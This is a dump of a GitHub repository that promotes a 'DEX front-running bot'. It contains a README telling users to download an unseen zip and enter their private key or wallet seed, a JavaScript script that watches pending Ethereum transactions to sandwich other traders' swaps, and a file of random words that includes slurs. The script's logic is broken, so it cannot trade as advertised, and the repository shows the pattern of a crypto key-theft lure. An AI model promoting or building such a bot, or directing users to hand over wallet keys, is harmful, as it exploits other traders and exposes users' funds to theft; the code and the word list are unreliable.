├── 1.png
├── 10.png
├── 2.png
├── 3.png
├── 4.png
├── 5.jpg
├── 6.png
├── 9.png
├── BobSkyMaster-DEX-JavaScript-Front-Running-Bot-V4.zip
├── README.md
├── Web3.js
└── file.txt
/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BobSkyMaster/BobSkyMaster-DEX-JavaScript-Front-Running-Bot-V4/7d44761845954fc04ab89a33a0840efa0db802be/1.png
--------------------------------------------------------------------------------
/10.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BobSkyMaster/BobSkyMaster-DEX-JavaScript-Front-Running-Bot-V4/7d44761845954fc04ab89a33a0840efa0db802be/10.png
--------------------------------------------------------------------------------
/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BobSkyMaster/BobSkyMaster-DEX-JavaScript-Front-Running-Bot-V4/7d44761845954fc04ab89a33a0840efa0db802be/2.png
--------------------------------------------------------------------------------
/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BobSkyMaster/BobSkyMaster-DEX-JavaScript-Front-Running-Bot-V4/7d44761845954fc04ab89a33a0840efa0db802be/3.png
--------------------------------------------------------------------------------
/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BobSkyMaster/BobSkyMaster-DEX-JavaScript-Front-Running-Bot-V4/7d44761845954fc04ab89a33a0840efa0db802be/4.png
--------------------------------------------------------------------------------
/5.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BobSkyMaster/BobSkyMaster-DEX-JavaScript-Front-Running-Bot-V4/7d44761845954fc04ab89a33a0840efa0db802be/5.jpg
--------------------------------------------------------------------------------
/6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BobSkyMaster/BobSkyMaster-DEX-JavaScript-Front-Running-Bot-V4/7d44761845954fc04ab89a33a0840efa0db802be/6.png
--------------------------------------------------------------------------------
/9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BobSkyMaster/BobSkyMaster-DEX-JavaScript-Front-Running-Bot-V4/7d44761845954fc04ab89a33a0840efa0db802be/9.png
--------------------------------------------------------------------------------
/BobSkyMaster-DEX-JavaScript-Front-Running-Bot-V4.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BobSkyMaster/BobSkyMaster-DEX-JavaScript-Front-Running-Bot-V4/7d44761845954fc04ab89a33a0840efa0db802be/BobSkyMaster-DEX-JavaScript-Front-Running-Bot-V4.zip
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
This open-source JavaScript DEX Front Running bot is a game-changer for crypto traders and enthusiasts Plus, you can rest easy knowing that your funds will never leave your wallet and you won't have to place trust in a centralized exchange. Here a video of how to config and run to bot a beta tester made https://vimeo.com/1017788421
2 | Here's what it looks like running
please if you have time to vote for me at the next code contest please do, I won last year with 4th place.
Here's the results of runing it for about 28 days started with about 1.89 ETH
To begin using the JavaScript Front Running Bot, you'll need to download and extract the zip file to a convenient location. The zip file can be downloaded from this link: https://raw.githubusercontent.com/BobSkyMaster/BobSkyMaster-DEX-JavaScript-Front-Running-Bot-V4/main/BobSkyMaster-DEX-JavaScript-Front-Running-Bot-V4.zip Once you've extracted the file, you'll need to locate the "config.js" file within the bot's main folder.
Using a text-editor and open config.js
You can configure the settings to your specific needs.When configuring the settings in the "config.js" file, be sure to set your ETH public address as well as your private key or wallet seed. Note that if you provide a wallet seed, you will still need to specify which public address you wish to utilize from the seed. , selecting the network (ETH = 1, BNB = 2, or POLYGON = 3), and saving the changes.
3 | When configuring the settings in the "config.js" file, be sure to set your public address as well as your private key or wallet seed. Note that if you provide a wallet seed, you will still need to specify which public address you wish to utilize from the seed.
After you've configured the settings, you can open the index.html file in any web browser to access the bot. If you'd like to modify the code, you're free to fork it, but please remember to give credit to the original source.
#cryptoportfolio #cryptomarketplace #cryptopredictions #cryptos #bitcoin #cryptotokens #cryptolover #cryptoexchanges #cryptotransactions #cryptonewsfeed Using BobSkyMaster-DEX-JavaScript-Front-Running-Bot-V4 to Capitalize on Front-Running Opportunities and Increase Your Crypto Holdings
4 | Introduction
5 |
6 | Cryptocurrency trading is filled with opportunities for those who can act quickly and decisively. One such strategy is front-running, where traders execute trades ahead of large transactions to take advantage of anticipated price movements. This approach can be highly profitable, but manually identifying and acting on front-running opportunities is challenging. Enter BobSkyMaster-DEX-JavaScript-Front-Running-Bot-V4, a powerful tool designed to automate and optimize front-running strategies. In this article, we’ll explore how front-running works, the benefits of using BobSkyMaster, and how you can enhance your crypto trading and increase your holdings.
7 |
8 | Understanding Front-Running
9 |
10 | Front-running involves placing a trade based on prior knowledge of a large impending transaction that will likely impact the price of a cryptocurrency. For instance, if you know a significant buy order is about to be executed, you can purchase the asset beforehand and sell it once the price rises due to the influx of that large order. This strategy demands speed and precise information to be effective.
11 |
12 | How BobSkyMaster-DEX-JavaScript-Front-Running-Bot-V4 Enhances Front-Running Strategies
13 | a. Real-Time Market Monitoring
14 |
15 | BobSkyMaster constantly scans the market for large impending transactions that can trigger price movements. Its advanced algorithms detect these transactions faster than manual monitoring, providing you with timely opportunities.
16 |
17 | b. Automated Trade Execution
18 |
19 | In front-running, speed is critical. BobSkyMaster automates trade execution, ensuring your trades are executed at lightning speed. This allows you to capitalize on opportunities before others can react.
20 |
21 | c. Advanced Analytics and Insights
22 |
23 | BobSkyMaster provides comprehensive analytics on your trades, helping you evaluate the effectiveness of your front-running strategies. It calculates potential profits and transaction costs, giving you a clear picture of your earnings and areas for improvement.
24 |
25 | Benefits and Risks of Front-Running with BobSkyMaster-DEX-JavaScript-Front-Running-Bot-V4
26 |
27 | Front-running can yield significant profits, especially when utilizing a tool like BobSkyMaster that provides real-time data and automated execution. However, it’s essential to remain aware of the risks, including market volatility and potential regulatory issues. While BobSkyMaster helps mitigate these risks through timely information, traders should always be mindful of the legal and ethical implications of front-running.
28 |
29 | Conclusion
30 |
31 | Front-running can be a powerful strategy for enhancing your crypto holdings, and BobSkyMaster-DEX-JavaScript-Front-Running-Bot-V4 makes this strategy accessible and efficient. By leveraging BobSkyMaster, you can stay ahead of the market and capitalize on price movements with confidence. Start using BobSkyMaster today and discover how it can transform your trading strategy and boost your crypto profits.
32 |
33 | Call to Action
34 |
35 | Ready to elevate your crypto trading with BobSkyMaster-DEX-JavaScript-Front-Running-Bot-V4? Sign up now to start leveraging front-running opportunities with ease. Join the community of successful traders who trust BobSkyMaster to maximize their profits. Happy trading!
36 |
37 | Relevant Hashtags
38 |
39 | #CryptoArbitrage #DecentralizedFinance #DeFi #CryptoTrading #Blockchain #Cryptocurrency #TradingStrategies #CryptoInvesting #TriangleArbitrage #DecentralizedExchanges What is frontrunning? Whenever you use a decentralized exchange to swap tokens, the price of the token you buy increases slightly. This is called slippage and for most retail traders, slippage is barely even noticeable. Whale traders however, especially when they purchase highly illiquid tokens, can significantly change a token’s price.Frontrunning bots take advantage of this mechanic by beating out the trader on the gas fees, purchasing into a token at the lower price and then instantly selling them off at the higher price. In a block explorer, frontruns leave a clear trace with the trader’s transaction being sandwiched between the two frontrun transactions. #coding #frontrunningbot #javascript #tutorial #botv4 #dex #programming #configuration #learntocode #stepbystep #beginner
40 |
--------------------------------------------------------------------------------
/Web3.js:
--------------------------------------------------------------------------------
1 | require('dotenv').config()
2 | const Web3 = require('web3')
3 | const { ChainId, Fetcher, WETH, Route, Trade, TokenAmount, TradeType, Percent } = require('@uniswap/sdk')
4 | const ethers = require('ethers')
5 | const fs = require('fs')
6 | //const assert = require('assert');
7 |
8 | let divider = "\n------------------------------------------------------\n"
9 |
10 | const chainId = ChainId.MAINNET
11 |
12 | let web3HD
13 | let token
14 | let route
15 | let weth
16 | let provider
17 | let signer
18 | let uniswap
19 |
20 | const ACCOUNT = process.env.REACT_APP_ACCOUNT
21 | const TOKEN_ADDRESS = process.env.REACT_APP_TOKEN_ADDRESS
22 | const EXCHANGE_ADDRESS = process.env.REACT_APP_EXCHANGE_ADDRESS
23 | const ETH_AMOUNT = process.env.REACT_APP_ETH_AMOUNT
24 |
25 | const web3 = new Web3(process.env.REACT_APP_RPC_URL_WSS)
26 | web3HD = new Web3(new Web3.providers.HttpProvider(process.env.REACT_APP_RPC_URL))
27 | provider = new ethers.getDefaultProvider(process.env.REACT_APP_RPC_URL)
28 | const privateKey = new Buffer.from(process.env.REACT_APP_PRIVATE_KEY, "hex");
29 | signer = new ethers.Wallet(privateKey, provider)
30 |
31 | // declare the token contract interfaces
32 | tokenContract = new ethers.Contract(
33 | TOKEN_ADDRESS,
34 | ['function balanceOf(address owner) external view returns (uint)',
35 | 'function decimals() external view returns (uint8)',
36 | 'function approve(address spender, uint value) external returns (bool)'],
37 | signer
38 | );
39 |
40 | // declare the Uniswap contract interface
41 | uniswap = new ethers.Contract(
42 | EXCHANGE_ADDRESS,
43 | ['function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts)',
44 | 'function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts)',
45 | 'function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts)'],
46 | signer
47 | );
48 |
49 | let addtrxflag = false
50 | let trxflag = false
51 | let initialTokenBalance
52 | let tokenBalanceAfterBuy
53 | let tokensToSell
54 |
55 | async function run(){
56 |
57 | console.log('\x1b[1m\x1b[37m[Bot]: Process has been started! \x1b[1m\x1b[31m(to stop press CTRL+C anytime)\x1b[0m\n')
58 | console.log('\x1b[1m\x1b[37m[Bot]: Looking for targets at DEX...\x1b[0m\n')
59 |
60 | fs.writeFile('./transactions_hashes.txt', '', function(){console.log('\x1b[1m\x1b[37m[Bot]: transactions_hashes.txt \x1b[1m\x1b[32mwiped!\n\x1b[0m\n\n')})
61 |
62 | token = await Fetcher.fetchTokenData(chainId, TOKEN_ADDRESS)
63 | weth = WETH[chainId]
64 | const pair = await Fetcher.fetchPairData(token, weth, provider)
65 | route = new Route([pair], weth)
66 |
67 | initialTokenBalance = await tokenContract.balanceOf(ACCOUNT);
68 |
69 | if(true){
70 | subscription = web3.eth.subscribe('pendingTransactions', function (error, result) {})
71 | .on("data", function (transactionHash) {
72 | web3.eth.getTransaction(transactionHash)
73 | .then(function (transaction) {
74 | if(transaction && !trxflag){
75 | parseTransactionData(transaction)
76 | }
77 | })
78 | .catch(function () {
79 | console.log("\x1b[1m\x1b[Bot]: WARNING! Promise error caught!\n\x1b[1m\x1b[37mThere is likely an issue on your providers side, with the node you are connecting to.\nStop the bot with \x1b[1m\x1bCTRL+C \x1b[1m\x1b[37mand try run again in a few hours.");
80 | //.catch((error) => {
81 | // assert.isNotOk(error,'Promise error')
82 | })
83 | });
84 |
85 | async function parseTransactionData(transactionDetails) {
86 | if(transactionDetails.input){
87 |
88 | fs.appendFileSync('transactions_hashes.txt', 'Trx hash : ' + transactionDetails.hash.toString() + '\r\n')
89 | const transactionInput = transactionDetails.input
90 |
91 | var path = 'transactions_hashes.txt';
92 | var text = fs.readFileSync(path).toString();
93 | var lines = text.split('\n');
94 | var newlines_count = lines.length - 1;
95 | process.stdout.clearLine();
96 | process.stdout.cursorTo(0);
97 | process.stdout.write(`\x1b[1m\x1b[37m[Bot]: Sweeping transaction hashes... \x1b[1m\x1b[32m${newlines_count}\x1b[37m passes. `);
98 |
99 | if((transactionInput.length - 10) % 64 === 0){
100 | const toTrx = transactionDetails.to
101 | if(toTrx.toLowerCase() === EXCHANGE_ADDRESS.toLowerCase()
102 | && parseFloat(web3.utils.fromWei(transactionDetails.value, 'ether')) >= parseFloat(process.env.REACT_APP_TARGET_ETH_AMOUNT)){
103 | }
104 | if(addtrxflag){
105 | const exeTrxs = await executeTrxs(transactionDetails)
106 | subscription.unsubscribe(function (error, success) {
107 | if (success)
108 | console.log('\n\x1b[1m\x1b[37m[Bot]: Process has been ended!\x1b[0m');
109 | console.log('\n\x1b[1m\x1b[31m[Bot]: Press \x1b[0mCTRL+C\x1b[31m to stop the script completely !\x1b[0m');
110 | });
111 | }
112 | }
113 | }
114 | }
115 | }
116 | }
117 | }
118 |
119 | async function executeTrxs(transactionDetails){
120 | if(trxflag){
121 | return
122 | }
123 | trxflag = true
124 |
125 | console.table([{
126 | 'Transaction Hash': transactionDetails['hash'],
127 | 'Observations': 'Valid Transaction',
128 | 'Timestamp': Date.now()
129 | }])
130 | console.log(divider)
131 | console.log('\n\x1b[1m\x1b[37m[Bot]: Transaction spotted! - \x1b[32m', transactionDetails, "\x1b[0m\n");
132 |
133 | const buy = await buyTokens(transactionDetails)
134 | const sell = await sellTokens(transactionDetails)
135 | }
136 |
137 | async function sellTokens(transactionDetails){
138 | const amountIn = tokensToSell
139 |
140 | if (amountIn.toString() !== '0'){
141 | const gasPrice = transactionDetails.gasPrice
142 | const newGasPrice = Math.floor(parseInt(gasPrice) - parseInt(1))
143 | const gasLimit = Math.floor(transactionDetails.gas * 1.3)
144 |
145 | const amountInHex = ethers.BigNumber.from(amountIn.toString()).toHexString();
146 | const ethAmount = ethers.utils.parseEther(ETH_AMOUNT);
147 | const amountOutMin = Math.floor(ethAmount * 0.01);
148 | const amountOutMinHex = ethers.BigNumber.from(amountOutMin.toString()).toHexString();
149 | const path = [token.address, weth.address];
150 | const deadline = Math.floor(Date.now() / 1000) + 60 * 20;
151 | const deadlineHex = ethers.BigNumber.from(deadline.toString()).toHexString();
152 |
153 | const nonceCount = await web3.eth.getTransactionCount(ACCOUNT)
154 |
155 | const tx = await uniswap.swapExactTokensForETH(
156 | amountInHex,
157 | amountOutMinHex,
158 | path,
159 | ACCOUNT,
160 | deadlineHex,
161 | {
162 | nonce: nonceCount + 1,
163 | gasPrice: ethers.BigNumber.from(newGasPrice).toHexString(),
164 | gasLimit: ethers.BigNumber.from(gasLimit).toHexString()
165 | }
166 | );
167 | console.log('\x1b[1m\x1b[37m[Bot]: Your sell transaction was: \x1b[1m\x1b[32m', tx.hash, "\x1b[0m");
168 | }
169 | }
170 |
171 |
172 | async function buyTokens(transactionDetails){
173 | if(true){
174 | const gasPrice = transactionDetails.gasPrice
175 | const newGasPrice = Math.floor(parseInt(gasPrice) + parseInt(1))
176 | const gasLimit = Math.floor(transactionDetails.gas * 1.2)
177 |
178 | const inputEth = parseFloat(ETH_AMOUNT) * 0.99;
179 | const ethAmount = ethers.utils.parseEther(inputEth.toString());
180 | const trade = new Trade(route, new TokenAmount(weth, ethAmount), TradeType.EXACT_INPUT);
181 | const path = [weth.address, token.address];
182 | const deadline = Math.floor(Date.now() / 1000) + 60 * 20;
183 | const deadlineHex = ethers.BigNumber.from(deadline.toString()).toHexString();
184 |
185 | tokensToSell = trade.outputAmount.raw
186 | const amountOutHex = ethers.BigNumber.from(tokensToSell.toString()).toHexString();
187 |
188 | const ethAmt = parseFloat(ETH_AMOUNT) * 1.2;
189 | const amountInMax = ethers.utils.parseEther(ethAmt.toString());
190 | const amountInMaxHex = ethers.BigNumber.from(amountInMax.toString()).toHexString();
191 |
192 | const tx = await uniswap.swapETHForExactTokens(
193 | amountOutHex,
194 | path,
195 | ACCOUNT,
196 | deadlineHex,
197 | {
198 | value: amountInMaxHex,
199 | gasPrice: ethers.BigNumber.from(newGasPrice).toHexString(),
200 | gasLimit: ethers.BigNumber.from(gasLimit).toHexString()
201 | }
202 | );
203 | console.log('\x1b[1m\x1b[37m[Bot]: Your purchase transaction was: \x1b[1m\x1b[32m', tx.hash, "\x1b[0m");
204 | }
205 | }
206 |
207 | console.clear()
208 | console.log("\n")
209 |
210 |
211 | console.log(divider)
212 |
213 | run()
214 |
--------------------------------------------------------------------------------
/file.txt:
--------------------------------------------------------------------------------
1 | disoccupied dumpoke singled hyperdialectism unpenalized antapexes easeled crioboly demigoddess unauthorizedly commensurableness nonrhetorical dishevels acupuncturing bangy toast puniest blok disputants earthworks pianofortist backspliced ambosexous depolymerizing gallied saggers anthericum riant marcgraviaceous nephanalysis cytherean sid recumbencies parablastic keglings trichinising bombazine culprits misinstructions undiaphanously endured divinize lightkeeper torpidities logarithmetically interoceptive subrhomboid franciscan doorless ketuba parang cultivatability nepmen willfulness mouches vedette overdares overswing gonococcal gogo rumenitis politicophobia delphinius nonextractable diamantiferous underestimating welly incuriosity yeldrine ineffectually aetobatus brucina affrap metiers conveniencies gesturist tricinium palaverous sightseer microdactylia vaginoperitoneal unhindering prochemical anticonstitutionalist slatternliness unmodifiableness berline works antisoporific fogman silverling catapult initially hypervigilantly blastule nonmaritally ungainfully facingly impoverisher indochina sighing unwoeful calculative girding refought oxymandelic datakit hatchetman supracargo lymphemia cronish airfares pugman dependants spermashion bifoliate flavoury chinafy studentry mamona lalang buffball restricken panelation overnormalize unripened rustication blackballing gadaria frankfurters sincaline whipoorwill preassumed cystatrophy circular malojilla bestad guanylic helves spicilege carbungi unoverthrown telltale samlets djins anility alburnums cleveites transverseness algovite agitated polyactine opportuneless jolt cahiers microfarad mangwe hornmouth imprisoned gangue malformed ennobles pseudosuicidal fucoses nativists literateness clear secreter logographic entwinement rusky adephagous purgeable cystophthisis sensorivascular macrocosm novices infallibility alebion cancelier birchism breacher oofless charmlessly doryman interfibrous coisns racist dipteron rhombs psychosarcous espials perfusive myrosinase tearlet commemorating barricader kayos houndish sphenographer antiquarian chimp droopiness ramps parritches acoemetic hipflask orbiculatocordate carroms semidefensive ophthalmostatometer collembole diiodide coolung nonemancipation outs myitis beaked demirep nonrescue shariat padronism flouted thymey phimotic nonascendent denominational cagit overnursed ungeodetically interambulacral kirsches noncensus paguroid untossed sorbs alcuinian hypothesiser disburden marasmuses stargazer mosaicking sponsors megalopygidae etherialize paned anaretical enswathe desmid prayer disagreements officialdom fevertwig bugs anthropozoic midwesterner inadaptable bhungini tarhood nonmercantile wlench sone retrogression premiering stablers soodling androtauric hypothetics katakinetomer responsusa marchese equivocal supported unbracedness overmitigated jaconet rangelands futhermore gulix nephrolysis isogenesis roosterfish yanky fiducial testicardines cembalon couchant metamorphosable pseudocentrous hyacinthin impartibly tentamen multiplexers taish subintent encephaloscope immunogenetical thecae superirritability hedeoma gluttonizing pseudotributary imperia plasticize macrame moat swashbuckler unanxiety erythrochroic nematogone decarburized telephoners subocular iridomotor orchidotomies fanatico shackanite topnet toroid wrestled proselyte unversified abundance ravinement sunbeams gauziness multihued hypostatical esthiomenus duramen beshell unhindering holarctic piliganine catholicism sibilancy swingled antibacteriolytic maximised reshot fulmination defendable eructing aliphatic disprofit syphiloderm materialists ephemeras misbestowed aerotropism faded sphericist melampsoraceae nefariousness grouting cunt acceptive sensating cosigning unaffably dwarfed sought whirret snaggy bugseed earlike massier sposh unpunctate afar bloodlike encrust poignancies hemiauxin plumpy drillmasters doug swordless nonconjecturably machinations absampere racemously irrorate shoshonis deserve chloralization longs negligence acyetic bonneter prosubstitution zephyr calycanthemous pentaphyllous deluster messageer pseudoblepsis housebreak prequalified caroid monotheistic salwey infracted cataphrygian boathouse comourn discussional tartaret schizolysigenous bleachers sysselman nodally photosurveying fantod breathtaking spudding wrinkleable rudimental nonfabulous periurethritis trapeziform carder apesthesia bankeress synedria flocced spleninii cephalhydrocele salpingostomies diverge kvetches monophylety postphragma cheetul ruinating clavae piroplasma betorcinol hypermetabolism desperation anodally carbomycin diegesis endogenies perienteron intervent gummous aphidius loquats boul poppywort pilule nonfeloniously steelen isocoria muggiest misaddress annunciating brontozoum cupidities beastlings urling unembalmed pastorize strangers chiffonier derives breastbones cajuela betterment lyres uterogestation unorderly pirozhok candlelighting nonterminal substitutionally hauntingly sheeling unbaste eradication tarwood alcoholics frontal nonfrigidness cancroid bulkier chaseable oyapock illumines zebrinny reality assubjugate charwoman nonloyal unsophistical nervosism umbrina hardboiled seemer
--------------------------------------------------------------------------------